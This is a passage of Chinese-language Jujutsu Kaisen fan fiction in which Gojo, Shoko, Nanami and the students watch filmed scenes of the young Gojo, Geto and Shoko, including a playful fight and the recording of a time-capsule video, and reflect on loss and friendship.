对于前辈们那些无伤大雅却又玩心很重的恶作剧,七海建人起初还以为夏油前辈至少是没有参与进来的,但相处之下没多久就认清楚了这人的本性,看起来比谁都要无辜,表面上犹豫着说这样真的好吗,实际上行动得比谁都要快。但他一向知道分寸,玩笑点到为止,不会去触碰别人的底线,这样看的话那些恶作剧反而成为了加强人际交流的最好助攻。 而五条悟则不在意这些世俗规矩,他向来不在乎,却又一向以夏油杰的行为认定准则,嘴上说着烦,却又老老实实地按照了对方口中的正论来。家入硝子倒是其中难得正常也靠谱的前辈,但也愿意跟着那两人乱来,只是七海建人和她的交流并不算太多。 虽然这么说着,七海建人始终认为,相较之下,夏油杰是他们当中最好的那一个。灰原虽然最后没将这话说出口,可也是这样想的。那人总是为他人着想,在一些细节上的地方格外体贴人,这是连家入硝子都很少注意到的。但同时,他也很傲慢,如他自己的术式般是与生俱来的傲慢,当时的七海建人、家入硝子甚至夜蛾正道都包括在内,都认为这很正常,基于强大的实力而性格区别于常人,傲慢也不足见怪。 只是谁也没想到正是这份傲慢害了他。 在七海建人的印象中昨日夏油杰还在说着强者就要拯救弱者,咒术师就要保护好非术师的性命,而旁人对前特级咒术师的评价,就从短短的半年内浓缩成了傲慢这个词眼。因为他傲慢,所以他就是这般邪恶,他就是杀人的刽子手,他就会是极恶诅咒师。 可是直至现在,七海建人都能记起那人当时说出口时语气的坚定与真心。】 “真的是笨蛋。”女医师上一次说这句话是在很多年前了,她曾毫不客气地嘲笑,却又带着点亲昵的意味在里头。她深知自己这位友人的秉性,在一半咒术师都在划水以图活命,他却做到自己所说的那般,咒术师的存在就是为了保护非咒术师,那是曾经他一直在做的事。他确有一颗想要拯救他人的心,她笑他,却打心底认可那人的这份善。 至于之后,他们都知道发生了什么,从最初的少年模样到青年这个年龄阶段,其中也不过是十年多的时间,比起人的一辈子,说短也不短,说长也不长。都说人心易变,识人不清,【家入硝子】却一直认为有个人是个彻头彻尾的笨蛋,始终如此。 而在这十多年中也有另一人守着他原有的初衷,继续他未完的责任,女医师转过头来说道:“你也是。” 之前是,现在也是。 “我吗?”白发咒术师笑了起来,好像这个称呼勾起了只有他们知道的一些往事,“那我绝不是那个最想不开的人。” “你们都一样。”【家入硝子】这样回答。 他只笑。 很难以想象,极恶诅咒师曾说过这种话,他也曾是一名咒术师——强者拯救弱者,即便是在咒术界也很少有人会这么说,他是如此的坚定。包括女医师以及最强咒术师对话中展露出来的语气,好像在告诉他们,他并不纯然罪恶,也并不纯然无辜。“他在当时抱着什么心态说出这句话来,又在之后以什么样的想法去残忍地夺取他人的性命?”虎杖悠仁问道。 家入硝子从中窥见了夹杂在善与恶之间徘徊不定的一个影子,他也挣扎过,他也怀疑过,他也痛苦过。“或许对于他来说,背叛是双向的。” 若不是他原先信奉的理念背叛了他,他怎会剑走偏锋到这一步? “到底发生了什么?”这不是学生第一次问了,可现在依旧没人能给出这个问题的答案。 【七海建人停顿的时间有点长了,万千思绪在脑里擦过也不足半分钟,而对面的前辈却误会了他的意思,五条悟摇了摇手里的东西,钥匙的晃动声在空气里显得格外的清脆,“你的档案被放在了夜蛾的桌上。” 此时的他不知该如何做出回应,到最后说出口的也就是一句生硬的谢谢,五条悟并不在意,只是在七海建人转身的那一刻,他说:“离开之前去一趟医务室吧,硝子想见你。” 然后,他说出了那句最像道别的话,“再见,七海。” 于是当七海建人来到医务室门前,他仍有一种恍惚感,门里的人很快注意到他的存在。家入硝子刚结束完一场手术,似乎已经提不起更多的力气来,现在就安静地靠着雪白的墙壁抽烟。 这让七海不确定自己是否应该在这个时候出声,而她本人却是见到了来人后直接发问道,“你要离开了?” “是的。”他回答。 女医师搌灭了烟头,“也好。”她能说的不多,手术台上的血液仿佛永远都洗不净,她知晓咒术师的死亡有多么的轻易,生命有多么的脆弱。她不会挽留,生死从来都没有掌握在她的手中。 只是有一句话是她必须要说的,家入硝子在这时只是作为一个前辈的身份,“我很抱歉。” 七海建人知道她在说什么,他摇了摇头,说出了那句对方再熟悉不过的话,“那不是你的错。” 而在这时,七海建人突然想起,在一个夏日的时候,夏油杰也曾说过这样类似的话,他说。 “对不起。” 但是七海建人也始终无法讲清楚这些都是谁的错。终是要散场的,属于他青春的尾声也落下了帷幕。 而在那之后当他重返高专又是很多年后的事了,只是一句话就让七海建人回到了咒术师的行列里。他知道自己逃避不了一辈子。 最强咒术师找上门来时,七海建人问他要一个缘由。 他给出了这个后辈一个最无法拒绝的理由,“夺走年轻人的青春不可原谅。”】 青春,一切的伊始,他们最初的模样,却在往后的岁月与磨难中变得面目全非。五条悟终于意识到自己遗漏了什么,那是他最不屑一顾的东西。而另一个自己却藉由这些日子生发的理念而踏上了变革之路,倒也算是永不回头。 “夺走年轻人的青春不可原谅。” 他不再年轻了。家入硝子无需开口去问说出这话的人,即使在他活过的大多岁月里,最强咒术师一直被冠以六眼神子之名,但他仍然是个人,人都会成长,然后走向衰亡,他也并不例外。只是在年轻不复、过去已然成为他人口中的寥寥几语的时候,最强又是以什么心态把这句话说出了口,他念及的青春是那刚踏入咒术界的虎杖,还是曾经身为后辈的七海,亦或是十年前的他自己? “我不知道这么说是否合适,”家入硝子想起来在所有人还在现实中的高专里时,一年级生曾私下问过身为同期的校医,五条悟是个怎样的人,她不记得自己给出的答案了,但无非是那些轻佻的贬义词,而现在她坐在这里,不看向任何人,她不需要他人的认同和回答。她说:“他是一个很长情的人。” 五条悟清楚她在说谁,他却无法为另一个自己反驳这种说法,他不至于眼瞎得分辨不清那张与自己一模一样的脸上的神情,是只会在熟人面前不经意露出的神情,自己虽是笑起来的,语气却是无比的认真。这很奇怪,哪怕他听过白发咒术师说过再等下一个冬日、你也要离开吗这种话,也没有这句话来得坦诚与直白。它敲碎了五条悟所感受得到却触摸不了的那个断层,轻轻的一下,露出了背后真实的面目——他有一段始终无法忘怀、弥补得上的过去,以至于日后的无数年里他都行走在那过去的影子之下。 为情所困,他不由地想到了这个陌生的词。 “这都让我怀疑起他的名字是否叫五条悟了。”胖达小声地说,但在场的人都听得到。 学生们不经意间转头对上彼此的眼神,很快又收了回去,藏起心底没来由的一丝羡慕,无论怎么说,隔壁世界的他们在那个最强咒术师的心中总归是占了点重量的,在他的改革中的位置也不可或缺,这么一想,他们相处起来应当会更亲近点。 家入硝子能想到的,女医师不会没有想到。你说这话时想到的人是谁?从她最开始不经意听到的一个叫天内理子的女孩的名字,再到灰原、七海,然后是夏油、她,你自己。那个属于旧日的时代剥夺了太多人命与希望,我们曾都拥有过这两样东西,直到现在,剩下来的人还试图弥补、修正这个残缺的世界。 最强咒术师所留有的遗憾不比校长少,她清楚他想做什么,他做这一切是为了什么。【五条悟】不只把这句话说给过后辈听,女同期也曾听他说过同样一句话,并那时相信他能做到,其余知情的人或许也都相信。最后的结局不会令所有人都皆大欢喜,但她想总归能变好一点,世界在过去的残墟上继续成长。 然而世界倒塌了。十多年前七海曾在另一个后辈的尸首前对她说过,我侥幸逃过了一死,但灰原没有。十年后他终是等来了这场迟来的死亡。而她的师长算是他们当中活得最长的那个,哪怕做成了校长的他却也紧随其后闭上了眼。连那尚未成长起来的学生如今也是历经腹背受敌、孤立无援种种危险,生死亦都难测。 “五条,有时候我感觉我们像个笑话,到头来都是白费力气。”女医师落下这样一句话,这句话背后的深意让隔壁的人脸色都微变。 “她这么说,”虎杖悠仁后知后觉地反应过来,“后面是发生了什么吗?” 还有能比同期的叛逃,后辈一死一离开更糟糕的事情了吗。 夜蛾正道皱起了眉头,“我有一种不好的猜测。” 比如,更多的死亡。 “一切都会好起来的。”白发咒术师把这句话念得很轻,死的人已经够多了。按照既定的顺序,现在也将成为过去,从废墟上重新生长的会是一个更好的世界,但人死不能复生。他也等不了那么久。 “你会恨我吗,硝子?”【五条悟】的声音足够轻,隔壁的人只能看到他动了动嘴。 女医师从中猜到了些他想要表达的意思,她也以极轻的语气回答,“恨你什么,你的自作主张吗?”她的嘴角难得舒展开了一个笑容,“拜托,从我认识你那天起,我就知道你会是个自作主张的混蛋。” “可是当下,你别无选择,我们都没有。” 七海建人沉思了一会,问道,“按影片播放的顺序,下一个会是谁?”前排座位的四个人都已经轮完了自己的主场,但观影还没有结束。 “不用猜测,故事的情节会按照既定的顺序展开不是吗?”五条悟说得轻巧,手掌却碰上了那面镜子,感受到了冰冷的温度。他隔着玻璃望向另一个自己,他看不见他的存在,也没有感知到,一切都按照既定的顺序进行着。 “只是我依旧不明白你的用意。”五条悟手下的力道一重,手指紧按着那镜面,仿佛只需再用一点力就可以打破这面镜子了。 【禁止触碰】 鲜红的字迹再次跳了出来,但五条悟无动于衷,最强的威压在这一刻显露,他接着问下去,“还有多久结束?我们待在这里的时间够久了吧。” 在这场对峙中,旁人都只是看着,没有其他人说话,他们也都想要一个答案。有一方不得不妥协下来。 【播放完下一轮,就是最后一场了。】 五条悟停下了手中的动作,他收回了手,“我并不认为你会将所有的东西都告诉我们。” “不过,”最强在心底念及有一人的名字,“接下来最好别让我失望。” 9. 予我呼唤 【予我呼唤】 【镜头在摇晃,明亮的白光跳动着又重归于黑暗。】 “坏了吗?”虎杖悠仁琢磨道。 “不会就因为五条老师刚刚那一下威胁吧。”钉崎野蔷薇说。 疑似罪魁祸首的某人耸了耸肩,以示无辜。 【它开始运转了。 对准了近处的黑发少年,他一开始没有发觉相机的存在,嘴里咕哝着。在这间二零零几年有着年代气息的教室里,他俯身在唯有的三张桌椅中翻找东西。深色的制服勾勒出少年劲瘦的腰身,抓起来的丸子头随着他的动作晃动,额前一缕刘海垂了下来,轻轻晃过耳边折射出紫色光亮的耳钉。 阳光下有浮尘在空中飘旋,温暖的光线轻柔地从窗外垂落下来,他随手抖落了其中一个抽屉,雪白的废纸从中纷飞地飘落下来。 少年不经意一抬眼,与镜头对上,鸦黑的睫羽中下意识地泄露出一丝笑意。 神情带上了无奈,语气轻快而亲昵。 “别闹了,”他唤了声。 “悟。”】 他年轻得与他们那印象中的极恶诅咒师大为不同,在当下猜想自己十年后的样子就已经足够难了,更遑论如拼图般去复原他人十年前的模样。但黑发少年在阳光下笑起来的那一刻,将时间往前推,倒回了那个属于前一辈的时代,如一幅经年不变的画将过去暂停在此时。 “长得倒是挺帅的。”钉崎野蔷薇不是第一次才有这种认知,只是在知晓极恶诅咒师犯下的罪行后,这句话在那时说出口的话怎么听都觉得别扭。而这时那镜头下的人所展露出来的,是纯然的明亮与无害,还未曾沾染上一点罪孽。 “只是拿着镜头的人是五条老师?”胖达的语气有点古怪。 镜头下的人看起来是由纯粹的青春而晕染出的色调,就像这个人的存在于那拍摄者的心中就是这般模样,永远鲜活,永远年轻。 所以当那声呼唤出来的时候,他们惊讶于那镜头背后的人会是【五条悟】,他记忆中年轻的夏油杰就是这般模样吗?而且东京高专的人大多对这两人关系好的认知停留在浅层次上,但仅是如此短的一个画面,甚至连另一个当事人都还没完整地出现在银幕上,一个眼神,就足以使旁人看出夏油杰对【五条悟】恶作剧般玩闹的态度熟稔而纵容,这样的人对于最强咒术师而言倒也是难得。 家入硝子下意识地往镜子那端看,只见白发咒术师的嘴角紧绷,侧脸看上去近乎冷硬。但是仔细一看,却能轻易地发现那片苍蓝色如融化的冰,所有的伪装尽露端倪。有那么一刻,她甚至有种错觉——他会落下一滴泪。但是他没有。 那一声熟悉的呼唤,是最强咒术师刻入灵魂都不会辨认错的。【五条悟】抬眼看着那镜头下的人,六眼中闪过的不止是那短暂的三年,还是苦夏隐没的蝉鸣,是冬日消融的雪花,是断头蜻蜓的振翅。他记忆中闪过的一分钟,却足够概括他们两人间的一生了。 他突然间觉得眼睛很酸涩——只为这个熟悉的笑。 【“看镜头啦。”五条悟毫不在意地一笑,年轻的白发咒术师捧着相机,制服的上身设计与另一人一模一样。他将中心对准视野里的那一人,而墨镜背后的苍天之瞳里仿佛也只容得下眼前这一人。 夏油杰见他玩得兴起,索性用自己的背影拒绝配合,继续在一片狼藉中翻找自己想找的东西。抽屉里的东西基本上都是五条悟和夏油杰两人随手混着放的,白花花的试卷、没动一字的检讨稿还有乱七八糟的一堆挤着,谁也分不清是谁的。以至于他找了几分钟也没有什么痕迹。 而身后那人被他这样的态度有点挑起了性子,不满地说道:“隆重介绍一下,这可是最新款的,镜头超——清晰。”他的语气就像是拿到一个新玩具分享给自己最好朋友般的炫耀,没有刻意的成分,是纯粹的喜悦。 五条悟将镜头凑近,镜头前的人挥挥手示意让他走远一点,白发咒术师则歪着头故意问道,“你是在害羞吗?”他们一向知道该用什么话来引起对方的注意力,只是后者此刻的重心仍然专注于手下的动作,对此无所谓地点点头。 于是五条悟的语气放软,用他惯常用的伎俩,将腔调拉长。他知道,这样的话对方向来会先妥协。一如之前的无数次。 “看我一眼嘛,杰。”】 “嘶,这绝对是在撒娇吧。”钉崎野蔷薇露出了一言难尽的表情,其他人也或多或少面色古怪,在场很少有人知晓还在高专当学生的五条悟是哪般模样,但即使是过来人也绝对无法想象出是如此的黏糊糊。不是故意伪装出来让人心里不适,而是在特定的人面前,很自然、很熟练地利用自己这一面来投机取巧,并且乐在其中的样子。 虎杖悠仁忍不住感叹了句,“关系真的很好啊。” 他们这些旁观者的身形比起之前都放松了点。没有深刨他人的内心,没有提及他人的苦痛。对于尚且年轻的少年而言,一切都才刚刚开始。 而五条悟忍不住咂了咂舌,自己这副满心满眼都是夏油杰样子真挺蠢的。但是,他笑得很开心。 既不是五条家少主那会冷冰冰的面无表情,也不是当了高专教师的那位轻飘飘的笑容,而是发自真心的笑。五条悟从未这样笑过。以至于那个同位体在这一刻看来,好像是与自己毫无关联的一个陌生人。他的眼中是另一个世界,他眼里的人就是一个世界。 这种陌生的视角让五条悟难以适从。更何况,他瞧着另一人唤自己名字时下意识露出的笑容,那人仿佛坦诚得毫不设防。心里的某一处被隐隐触动,却很难以说清是哪种情绪。 【于是夏油杰无可奈何地止住动作,转过身来看向五条悟。他并不在意镜头,今日的主角并不是他。就只是对方的一声呼唤,他就可以将其他所有的事放在一旁,不是约定,不是承诺,只是习惯。就像之前五条悟也曾举着翻盖手机咔嚓咔嚓一顿拍,而照片里永远会是两个人并肩。 “悟。”他静静地等待着五条悟的下文,目光坦然而落在实处,哪怕等到的是抱怨,是无厘头的要求,他都会一一作出回应。 白发咒术师从镜头可以更近距离地望向这人,镜头下的这一刻让他停顿了下,年轻的六眼神子在触及这份真心时,却突然生出一点畏缩。镜头可以使人永久地暂停在这一刻吗,一声呼唤可以永久地留住一个人吗——长久不变的会是你吗? 这个不符合五条悟向来风格的念头仅在他脑子里转了一圈,下一秒就被他抛之脑后。他没有多想,于是五条悟能轻易地扬起一个无辜的笑容,“我想拍杰的怪刘海。” 话语才落下,夏油杰就作出了回应。他嘴角的笑意加深,看起来没有被这句话冒犯到,但收服的咒灵却在他身后猛然将空间撕裂开来,探出了好几个狰狞的脑袋,而他本人的语气依旧很温和的样子,“要来打一架吗?今天夜蛾正好不在。”夜蛾正道出差去了,而其他少数在校师生不是懒得管就是拦不住,大多都是睁一只眼闭一只眼,早就已经见惯不惯了。让他们的班主任头疼去。 “谁怕谁啊,我正好也手痒。”五条悟笑得嚣张至极,却也称得上是意气风发。】 “如果与五条老师并肩的是这样的他,就好像没有那么难以接受了。”说这话的是虎杖悠仁。一个习惯性的细动作足够说明很多,他的长久相伴,他的真情实感。而且当事人对此更是接受得理所当然。 五条悟在这句话的间隙中闭上眼来,在平稳的呼吸中回忆起自己的过去,在年轻的记忆中他无法找到这个镜头下的身影。从未呼唤过,亦从未有过回应。期望落空是什么样的感受?这个迟到了十年的答案在这时才显露出真面目。无论是他还是另一个自己,在离开京都本家、踏上东京高专这条路时,他们都会毫不留情地抛下那些跟随了十多年的繁琐礼节。外界的新事物五花缭乱应接不暇,但也没有五条悟那么以为的有趣,短暂的新奇过后就是长久的索然无味。而乱逛了一圈后他第一次坐于两人间的教室时,老师早就发完言离开了,另一个同期也不在。 与你并肩的朋友。他在这一刻想起二长老曾说过的话,当时的六眼神子只当放屁,而这时与另一个空荡荡的桌子相对,他知道不在场的这个人是谁,但也只在此刻存在过一秒的期望,之后的十年都是无所谓。直到现在。 他突然觉得那前半段过去的人生好像缺失了一大半,它并不完整。 “年轻人的通病。”夜蛾正道在知晓年轻的白发咒术师脑子里的这个想法时,言辞犀利地评价了句。年轻人向来不愿在沉重的话题上停留,他们往往是用玩闹的笑语掩盖过去。却不知很多时候,事情总会往最糟糕的方向发展。 【没有人能比五条悟还要熟悉夏油杰的弱点,他的挚友。至少在体术这一方面他敢肯定,反之亦然。还在成长起来的两人尚不能做到真正的毫无缺处——哪怕是最强也不能。是人就会有弱点。而往往是越熟悉的人就越清楚对方的漏洞在哪。 骤然刮起的狂风之中,两个身影纠缠得分不清彼此,每个动作都是下了死手的狠劲,打得难舍难分。五条悟握拳在空隙中直接攻上夏油杰的胸口处时,没有一丝犹豫。而后者在千钧一发的时刻避让开来,让他落了个空。五条悟并不意外,反而更加被激出了好战的因子。曾有不明事理的人在一旁观看时,以为他们之间有着莫大的血海深仇,怀有深切的恨意想去杀死对方。 但从来不是恨。而是熟悉,这是在成百上千次的互相切磋中得来的。正因如此,五条悟打心底知晓自己无法真正伤害到夏油杰,反之亦然。轮到他们这种关系,倘若真的有一天——某一方的死亡将临时,剩下一个人也该是心知肚明的。 躲过夏油杰的回击,拳风随着对方的动作被吹起,于混乱之中拂起黑色的发丝,五条悟撞进了明暗交错的深紫色虹膜里,有光擦过他的眼角,抬起眼时那无形的重量落进了白发少年的心中。他的动作停了一秒,而就是在这一刻,对方抓住了时机,反手把他摔进之前就被砸出来的深坑里。 操场上一片混乱,被牵连的建筑残墟无人搭理地堆在四周,黑发咒术师盘腿坐在废墟之上,神情还残留着肾上腺素狂飙后的余兴,他撑着头往下看,“我赢了哦,悟。” 夏油杰的语气带有胜利后的得意之情,但不失亲昵。 “你怎么突然分心了?”他问道。】 “怎么感觉他们之间有杀父之仇一样?”这两人的体术自然没话说,就现在而言,无论是一年级还是二年级的水平都比不上。他们两人交战激烈得不分上下,只拼体术打起来都好像是地动山摇了一般,旁观者只觉得除非某一方把人弄死才会肯罢休,看得一些学生们不自觉地担忧起来。 只是接下来就告诉他们无疑是想多了,禅院真希的鸡皮疙瘩都起来了,“怎么感觉怪恶心人的。”钉崎野蔷薇赞同地点了点头,她用一种浮夸的口吻反问道,“这就是挚友吗?”也没见其他友人间是这么形容的,谈及一条性命如此的轻而易举,笃定彼此间必不会错付。这是切实的熟悉与信任。 七海建人却隐隐地从中感知到某种不详的隐言——死亡。 “居然真有人能赢过五条悟。”看到后面胖达惊呼出声,周围人也差不多是这副见了鬼的模样。夜蛾正道虽然能猜测到夏油杰的实力只在五条悟之下,但在如此年轻的时候就显露出这般惊人的锋芒,那就太少见了,更别提只靠体术就能堪堪胜过当时的六眼神子。 【五条悟撑起身来,随手拍了拍衣服上沾染的灰,酸痛感从肌肉里传来。他对于这个问题没有第一时间就给出答案,或许连他自己都不太能清楚原因。白发咒术师抬头看向坐在上头的那人,他笑起来的时候更为明亮。那些说不清的心思也不知缘由地被五条悟隐藏起来,他随便找了个借口,闷闷地回复道。 “刚刚风刮过的时候,我一个没注意,好像有沙子进了我眼睛里。”】 “这个回答真的有人会信吗?”钉崎野蔷薇忍不住吐槽道。先不提借口如此敷衍,而且说这话的是【五条悟】,难道还需要找人给你吹气吗? 【有人信了。听到这个回复,夏油杰微微皱起眉来,他跳了下来,稳稳地落在这个坑里。对于友人摘下他的墨镜,五条悟丝毫没有排斥的心理,只是在冰凉的触觉从眼部传来的时候,他的心跳漏了一拍——杰离他太近了。五条悟甚至可以从那隐含担忧的眼眸中看见自己的倒影,仿佛只容得下他一人的珍重。 夏油杰轻轻地吹气,温热的呼吸如羽毛般拂过眼角,他安抚道,“现在好点了吗?” 说话间他们的距离稍稍拉远了点,酸涩的情绪在此刻如泡沫般溢满他的喉咙。在这个蝉鸣的夏天,五条悟后知后觉地发觉这个季节独有的热意,滚烫进了他的心口。六眼神子太过不知世,只能一昧地掩盖那跳动异常的心脏,他表面上依旧如常,用最常用的玩闹翻过这篇,“杰是笨蛋吗?” 没有等夏油杰反应过来,五条悟就趁其毫无防备地给他来了个过肩摔,他没有用多大力气,后者撑着坑里的碎石,有点费力地抬起上身时,难得骂了句脏话。白发少年笑嘻嘻的,模仿这名好学生平日的语气,只是把称呼替换了下,“杰,说脏话是不礼貌的。” 对此夏油杰冷笑了一声,只当把刚才的好心喂了狗,在五条悟得意之时,拉住对方的腿往下扯,双方又开始扭打起来,只不过这次纯属是没有任何技巧可言,简单粗暴到直接上手扯头发。】 “那可是最强诶。”看见有人真信了,胖达沉默了下才开口说,但也只是这一句就止了声。钉崎野蔷薇说,“这让我开始怀疑他的心是怎么做的了。”虽是用的调笑的口吻,但他们都有点意识到为什么【五条悟】会把人家当作挚友了。在大多人认为最强无往不胜、无坚不摧的时候,他总是特殊的那个。 “他们是幼稚园没有毕业吗?”看到原本一场好好的体术最后逐渐演变成那副模样,禅院真希诚恳地发问。胖达评价道:“双方都被吃得死死的。” 现在在场目光有意无意都转移到五条悟身上来了,最强咒术师并不在意其他人是个什么看法。在夏油杰面前,他是一个会输会受伤会流血的人,由此而生的种种情绪也总有人会安抚他。但五条悟则不是,他没有过多的情绪,也没有人会安抚他。 此刻他太疑惑了,对于夏油杰这个人——如果,如果他的世界也有这个人的存在,是不是一切都会不一样。 【他们用蛮力扭打着,等到过剩的精力被耗尽,双方都衣衫不整地躺在一片狼藉的地面上。夏日的阳光在此刻甚至让人有点昏昏欲睡,五条悟率先打了个哈欠,然后就是如传染一般,倚靠着他肩膀的黑发挚友也慢吞吞地打了个哈欠,一切都很安详的样子。“好像忘了什么……”他语气含糊地说道。 “什么?”五条悟开口问道。 “我们原本要干什么来着?”夏油杰半阖的眼又睁开了,侧过头与五条悟面面相觑。在同一时间问了彼此同一个问题。 “相机呢?!” 在夏油杰刚要有动作的时候,视野里出现了漆黑的一点,从摄像头后面探出一个眼角下有泪痣的少女,她挑了挑眉,“哟,你们终于想起来了。”然后见惯不惯似地补充了句,“两名五岁小朋友终于扯完头发了哈。” “硝子。”夏油杰无奈地喊出她的名字,后者只是摆摆手,“嗨呀嗨呀,刚刚你们打得太忘乎所以了。”她举起镜头,指了指细微的划痕,“但没什么大事,质量合格。” 五条悟在下方喊着,“那当然,也不看看是谁选的。”对此女同期嗤之以鼻,依这大少爷的性子,他肯定就是随便挑着个最贵的买了。 “总之,”家入硝子把镜头对准了还在下面坑里的两人,忽视他们的大声拒绝,“至少不是现在,”他们急匆匆地打理起现下狼狈的模样。“来来来,让我来介绍一下今日的主角——最强二人组的笨蛋一号君五条。”然后将镜头移到白发咒术师身侧的那人,“还有旁边那个黑发眯眯眼的是笨蛋二号君夏油。” “你说谁是笨蛋呢!”两人齐齐地喊道。 “谁应谁就是喽。”少女随意地耸了耸肩,眉间带着笑意。】 年轻的女医师全然放松,姿态轻松地和同期玩笑着——这也是他们都没有见过的模样,哪怕是家入硝子她自己也未曾见过自己何时露出这般的笑容。这时另一个自己的青春从这个笑就可以从中窥见其的一角,那属于【家入硝子】,属于【五条悟】,唯独不是她,他们。 家入硝子比谁都要清楚这一点。夏日的欢声笑语是另一个世界的倒影,他们只是侥幸于此瞥见了因一人而生的不同,一道界限分明的隔阂阻挡在两个世界之中,对面是经历者,而他们是旁观者。 这一轮观影到现在看起来没有什么不对的地方,但真要评论的话,轻松这种氛围和之前的观影感受都扯不上太大关系,而当下学生们时不时发出善意的笑声,如果不去多想之后会怎样的话,好像一切都还很好。 女医师见到自己出现在银幕上捧着相机的时候,慢了半拍才回忆起这段记忆,意识到了接下来即将会重现的那些本该浸在过往中的碎片是什么。 她喃喃自语道:“这可真是伤人伤己。” 【眼见五条悟还要与家入硝子争论一番,夏油杰先站了出来,“别闹了,我们还有正事要做。”听到这话,女同期爽快地做了个闭嘴的手势,只是嘴角的笑容暴露了幸灾乐祸的意味。白发咒术师反而不爽地撇了撇嘴,却也没有多说什么。 “但是,”夏油杰不好意思地说,“那张纸不知道被我塞到哪里去了。”他忘记当初下意识放在了自己的抽屉里还是五条悟那了。这种事实在是太常发生了,无论是宿舍还是校服,都毫无边界地共用彼此的所有。 “在这。”家入硝子把藏在背后的东西扬了扬,“刚刚你们砸了半个教室,我路过就正好捡到了。正好,课也不用上了。” 两人这才意识到周围有点严重的战损,他们沉默了一瞬,然后是夏油杰先开口,“下个星期夜蛾好像才会回来。”五条悟瞬间上道,“等下让五条家的人来就好了。”这操作不是他们第一次干了,只要在夜蛾正道回高专前把一切都恢复成原样,就看不出这里发生过什么。 家入硝子把东西递了过去,“喏,总之愿赌服输哦,五条。” 旁边的夏油杰虽然抿着嘴,但眉眼弯起,“悟不会是不好意思了吧。” “哈?怎么可能。”白发咒术师大叫着反驳了句。】 “他们这是要做什么?”学生们着实没弄懂眼前这一出,还有那张纸也神神秘秘的,从他们的角度看不清上面写了什么,好奇心弄得他们抓痒挠腮。 作为东京高专校长的夜蛾正道少有地心梗了下,同时也为另一个世界的自己而头疼,玩闹是真吵闹,破坏力也是真的强悍,三个人聚在一起根本不懂遵规守纪这几个字怎么写。但是,三个人整整齐齐,热闹点也没什么不好。而现在的另一个自己估计也会是这种想法。 【“咳咳,”镜头闪了下,入目便是五条悟放大的脸,只有他一个人。那苍天之瞳在这一刻是惊心动魄的瑰丽,非人一般纯粹的蓝色,有一种直击灵魂的窥视感。但只是一秒,白发咒术师推了下鼻梁间的墨镜,眼底罕见地浮现出疑惑和不知所措。 他清了清嗓子,拿起那张纸看了眼,颇有些正式地自我介绍,“姓名五条悟,性别男。” “年龄是十七——”才开口两句,他就皱起了眉头,“这些答案不都显而易见吗?这都什么蠢问题。”虽然话里话外都是不屑与嫌弃,但五条悟还是继续顺着问题看了下去。 他想起黑发挚友说过的话,类似于时光胶囊的存在,十年后的他们再一起看十年前的五条悟、也就是现在的五条悟。一个和杰一样蠢的想法。“绝对是想看我出糗吧。”他咕哝了句,心中却有一块柔软的地方被触动——十年后,他们还在一起。这样一想的话,倒也还不错,五条悟把这个念头划分到了理所当然的认知里,就和夏油杰是五条悟的挚友这个认知一般理所当然。】 十年。他们又一次抓住了这个熟悉的时间间隔,十年能够改变很多,让银幕上笑得意气风发的三个年轻人成为如今他们所看见的模样。不能说全然陌生,只能说有些年轻的东西不知何时已经变得面目全非。十年后的他们还在一起吗,十年后的三个人依旧如初地欢笑玩闹吗? 隔壁只有两个人的存在,就已经告诉了另一个世界的人答案。 只有那三个年轻人还无法想到那么长远、以及足够周到,他们浑然不知,不知接下来等待他们的命运有多险恶,不知他们在失去一个人后继续向前走的路有多艰难。 在这提及未来的几秒里,旁观者都沉默不语。 【画面一转,却是在树下避暑的夏油杰与家入硝子,刺眼的阳光透过树叶缝隙形成斑驳的光影。“你倒是不怕他反悔,又或者故意糊弄过去。”她随手翻了下衣兜找出根烟来,却发现又忘带了打火机。有一簇火苗咔嚓一声燃起,抬眼间是黑发的同期极为自然地递了个火。 而家入硝子也不忸怩,火苗点燃起烟卷,她深深地吸了口,透过烟雾看着不远处倒塌的废墟。“怕什么?”只听黑发少年的嗓音含着笑,她有点不明白夏油杰在这事上笃定五条悟的自信。在他们这个年龄阶段的人都有点爱面子,没人愿意将真心坦诚。像是知晓她在想什么,夏油杰侧过头来看她,“难道硝子没有想过未来、十年后会是怎么样的吗?” 家入硝子挑了挑眉,“就那样呗,待在高专作个被压榨劳动力的校医。” 夏油杰听了,轻轻地点点头,开口转而提起的是另一件事,“最开始我们的本意确实是借这个机会让悟出一次丑。”他停顿了下,家入硝子接着问下去,“然后呢?” 他眯起眼迎着阳光,谈论起这个话题时想起本次的主人公,所有与这个人相关联的记忆在这一刻浮现,逐渐构成了当下夏油杰所熟知的五条悟,不是六眼神子,不是五条家少主。 “但是后来我想了下,悟还是有点不同的。他不关心前路也不回望后路,我总觉得这行不通。” 家入硝子轻嘲了下,却不是反驳,“太自大了吧,夏油。”就这样如此轻易地评判一个人又为他摆好了选择。对方笑了下,却不见一丝悔改,“也许。” “我只希望在他还有很多东西不明白的时候,仍旧能有所寄托。” 女同期听了这话,清楚他的言后之意,哼笑了声,“真是犯规。” 夏油杰摊了下手,“毕竟是我赢了嘛。” 而赢了的人总归是有特权的。】 “你没有跟我谈起过这场对话。”白发咒术师等着一个解释,即使他清楚很多过去的事早就没有谈论的必要了,但是如果是有夏油杰介入的话,那就另当别论。更何况他始终记得这个录像的事,虽然他们都没有再谈起过。它算是无意间留下的一个念想,烙上了属于故人的印迹,但直至现在,【五条悟】才知晓那背后真正的含义又象征着什么。 女医师默然,她没有想到影片会放出这段过去。他们三个人的青春中有足够多值得纪念的欢笑,但唯独不该是她连回想都不愿想起的这段记忆,那太过残忍了,无论对谁都是。它在回忆中变得完美无缺,又在现实面前被摔得粉碎,碎片足够割入最强咒术师的心脏,她也一样。 “十年早已过去了,而我们当中没有一个人再一次翻开这段录像。”女医师转而提起来这个话题。 白发咒术师抬起眼来,他想起已经算是老物件的相机被堆在一个落灰多年的房间角落里,所有人都当作它不存在,视而不见。“少了一个人,因为少了一个人。”他将这句话重复了一遍,却将每一个字念得很轻,神情间再也不见当年那副年轻意气的影子。 “是的,这就是原因所在。”她停顿了一下。 “五条,”女同期回望的眼神也挑明了那道最深的伤疤,她在回忆中重新审视了这段过去,开口说出来的语调却宛若玩笑般。 “我怕你会流泪。”她这样念道。 最强咒术师好像从中领会到了其中的含义,他动了动嘴唇,最后什么都没有说出来,反而紧紧地抿起了嘴,不再发一言。而那抹苍蓝色里似有新雪在融化。 “他希望在你还有很多东西不明白的时候,仍旧能有所寄托。”女医师近乎叹息地说,“现在也如此。” 